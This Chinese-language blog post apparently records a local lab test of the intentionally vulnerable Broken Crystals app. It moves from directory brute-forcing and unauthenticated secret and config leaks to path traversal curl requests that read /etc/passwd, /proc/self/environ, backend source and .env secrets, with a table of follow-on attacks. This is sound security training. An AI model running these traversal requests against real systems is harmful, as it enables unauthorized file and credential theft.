Broken Crystals 實戰筆記 1:從資訊洩漏一路串到任意檔案讀取
這是我在本機架設現代化擬真漏洞靶場 Broken Crystals(由 DAST 廠商 Bright Security / NeuraLegion 維護的開源專案)、用真實 bug bounty 節奏開打的系列筆記,第一篇先把環境架設踩到的坑、以及第一條完整攻擊鏈(資訊洩漏 → LFI → 武器化)記下來,系列的核心不是「解題拿 flag」——Broken Crystals 沒有計分板——而是把它當成一個真實滲透目標,練方法論與手感。
為什麼選 Broken Crystals
Broken Crystals 用 docker-compose 起,技術棧是現代的 React 前端 + NestJS/Fastify 後端 + PostgreSQL,而且同時開了 REST(Swagger)、GraphQL、gRPC 三種介面,漏洞取材自真實世界,對以 API 獵洞為主的人來說,它比傳統靶場更貼近實戰,也很適合拿來當自己掃描器 / 工具鏈的 benchmark。
一、環境架設:一個關於 docker-compose 的坑
靶場本身 git clone 後 docker compose up 就能起,但我想把它綁在 127.0.0.1(公司內網不該暴露一個故意有洞的服務),於是寫了一份 compose.override.yml 來覆蓋 port 綁定。
結果連續踩雷:每次 up 都報某個 port address already in use,而且 ss、netstat(WSL 與 Windows 兩側都查)全都顯示該 port 是空的,修好一個又換下一個,像在打地鼠。
根因:compose 的 ports 是「串接」不是「取代」
查證後確認,Docker Compose 合併多個檔案時,ports 這類多值選項的預設行為是串接(concatenate)兩份清單,而非覆蓋。
正解:用 !override 標籤
Docker Compose 提供兩個 YAML 標籤來繞過標準合併規則:
!reset []:清空基底該屬性(用在完全不需要對外的服務,如 DB)!override:完全取代基底該屬性(用在要重新指定對外綁定的服務)
最終可用的 override:
services:
db:
ports: !reset []
keycloak:
ports: !override
- '127.0.0.1:8080:8080'
nodejs:
ports: !override
- '127.0.0.1:3000:3000'
- '127.0.0.1:5000:5000'
grpcwebproxy:
ports: !override
- '127.0.0.1:8081:8081'
mailcatcher:
ports: !override
- '127.0.0.1:1080:1080'
ollama:
ports: !reset []
關鍵習慣:up 之前先用 config 看穿合併結果,不要盲目啟動。
docker compose -f compose.local.yml -f compose.override.yml config | grep -iE "host_ip|published"
確認每個 port 只出現一次、host_ip 都是 127.0.0.1、沒有殘留的 0.0.0.0,再啟動,這個經驗在真實環境用 compose 分 dev/prod 設定時同樣適用。
二、偵查:從目錄爆破建立攻擊面地圖
環境起來後,不直接吃 Swagger 給的端點清單,而是照正規流程先做目錄爆破,把攻擊面自己挖出來(可能挖到 Swagger 沒列的隱藏路由)。
feroxbuster -u http://localhost:3000 \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
讀回應碼:SPA 的判讀陷阱
前端是 SPA,特性是不存在的路徑常回 200 + 同一份 index.html(前端路由接管),feroxbuster 會 auto-filter 掉這種 404-like 回應,但仍要留意。
第一輪最有價值的線索是:
404 GET 69c http://localhost:3000/api
/api 回的是 69 bytes 的 JSON 404(不是 SPA 的 3031 bytes 首頁),證明 /api/* 是後端 API 的地盤,與前端路由分離,攻擊面在此。
遞迴爆破 /api
feroxbuster 預設就遞迴(以 --depth 控制深度,預設 4),專打 API 地盤:
feroxbuster -u http://localhost:3000/api \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-t 50 --depth 3 -C 404 -o ferox_api.txt
撈到一批端點,每個回應碼都在說話:
| 端點 | 碼 | 訊號 |
|---|---|---|
/api/secrets |
200 (1186c) | 名字叫 secrets,還回大量內容 |
/api/config |
200 (156c) | 設定端點 |
/api/file |
500 | 缺參數就爆 → 疑似 LFI 入口 |
/api/goto |
302 | 重導向 → 疑似 open redirect / SSRF |
/api/products |
403 | 需授權 → 之後測越權 |
/api/testimonials |
200 (2c) | 空陣列,普通端點 |
三、資訊洩漏:兩個未授權端點把後端褲子扒了
/api/secrets — 未授權憑證大洩漏
curl -s http://localhost:3000/api/secrets | jq
未經任何認證,直接吐出一整包各家服務的憑證(格式節錄,值已去敏):
- Facebook access token(
EAAC...格式) - Google OAuth token(
ya29...格式)、OAuth client id - 一把 Base64 編碼的 Google API key
- PayPal production access token
- Slack token(
xoxo-...) - CodeClimate / Heroku / Outlook webhook / HockeyApp 等
其中 Base64 那把順手解開,是標準 AIza 開頭的 Google API key:
echo "QUl6YVN5...(略)" | base64 -d
# AIzaSy...(AIza 開頭 = Google API key 特徵)
/api/config — 後端設定洩漏,含 DB 連線字串
curl -s http://localhost:3000/api/config | jq
{
"awsBucket": "https://...s3.amazonaws.com",
"sql": "postgres://bc:bc@db:5432/bc",
"googlemaps": "AIza...(第二把 Google key)"
}
sql 這條最狠:完整的 DB 連線字串,帳號密碼 host port db 名一次到齊,這兩個端點屬「資訊洩漏」,已到手,但真正的重頭戲在下一個能動手利用的洞。
四、任意檔案讀取 (Path Traversal / LFI)
定位參數:讓錯誤訊息說話
/api/file 直接打回 500:
curl -s "http://localhost:3000/api/file"
# {"error":"Cannot read properties of undefined (reading 'startsWith')"}
這行 Node.js 錯誤洩漏了關鍵:程式對某個「你沒提供的參數」呼叫了 .startsWith()——這很可能是後端想做的路徑白名單檢查,換句話說,端點在等一個當作「檔案路徑」的參數,
先用正常檔案試探參數名 path,確認端點會讀檔並回傳:
curl -s "http://localhost:3000/api/file?path=package.json"
# → 回傳完整 package.json 內容
參數名正確、端點確實讀檔回傳,LFI 的前半成立。
驗證穿越:直攻 /etc/passwd
真正的任意檔案讀取要證明能跳出 web 目錄:
curl -s "http://localhost:3000/api/file?path=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
完整吐出,毫無過濾——那個 .startsWith 白名單形同虛設,任意檔案讀取正式確認,順帶情報:app 由非 root 的 node 使用者(uid 1000)執行,家目錄 /home/node,系統是 Alpine 系,
武器化:讀高價值檔案
LFI 的價值不在讀 /etc/passwd(那只是 PoC),而在讀能擴大戰果的檔案。
進程環境變數 /proc/self/environ(用 tr 把 \0 轉換行):
curl -s "http://localhost:3000/api/file?path=../../../../../../proc/self/environ" | tr '\0' '\n'
從中確認 app 絕對路徑為 /usr/src/app(之後可直接用絕對路徑讀檔,不必湊 ../ 深度)。
後端原始碼——package.json 的 start:prod 指向 dist/main.js:
curl -s "http://localhost:3000/api/file?path=/usr/src/app/dist/main.js" | head -50
讀到編譯後的完整後端邏輯 → 這把 LFI 從「讀設定」升級為白箱源碼審計能力,可逐一檢視各端點實作,定位 SQLi / 命令注入的確切 sink。
.env 檔——全套祕密:
curl -s "http://localhost:3000/api/file?path=/usr/src/app/.env"
撈到的祕密與其可串接的攻擊:
| 洩漏項 | 可串接攻擊 |
|---|---|
JWT_SECRET_KEY=1234 |
JWT 偽造 / 認證繞過(弱 HS256 secret) |
KEYCLOAK_ADMIN_CLIENT_SECRET |
Keycloak realm 管理權 |
KEYCLOAK_PUBLIC_CLIENT_SECRET |
OIDC token 偽造 |
JKU_URL / X5U_URL |
JWT jku/x5u 標頭注入 |
DATABASE_* |
DB 連線(配合其他洞) |
攻擊鏈總結
目錄爆破 (feroxbuster)
└─ 定位 /api 後端地盤
├─ /api/secrets → 未授權憑證洩漏(多家 token/key)
├─ /api/config → DB 連線字串洩漏
└─ /api/file → 任意檔案讀取 (LFI)
├─ /etc/passwd (PoC)
├─ /proc/self/environ (環境偵查)
├─ dist/main.js (白箱源碼)
└─ .env (全套祕密 → 下一波攻擊鑰匙)
單一 LFI,透過選對「讀什麼」,從一個讀檔漏洞升級成:環境偵查能力 + 白箱源碼審計能力 + 全套憑證洩漏,這正是真實 bug bounty 裡「影響力(impact)不在漏洞類型,而在你能把它推到多遠」的體現。
本文為授權範圍內的本機自建靶場測試紀錄,所有洩漏憑證均為靶場預設假資料,文中已做去敏節錄,請勿將任何技術用於未授權目標。
Member discussion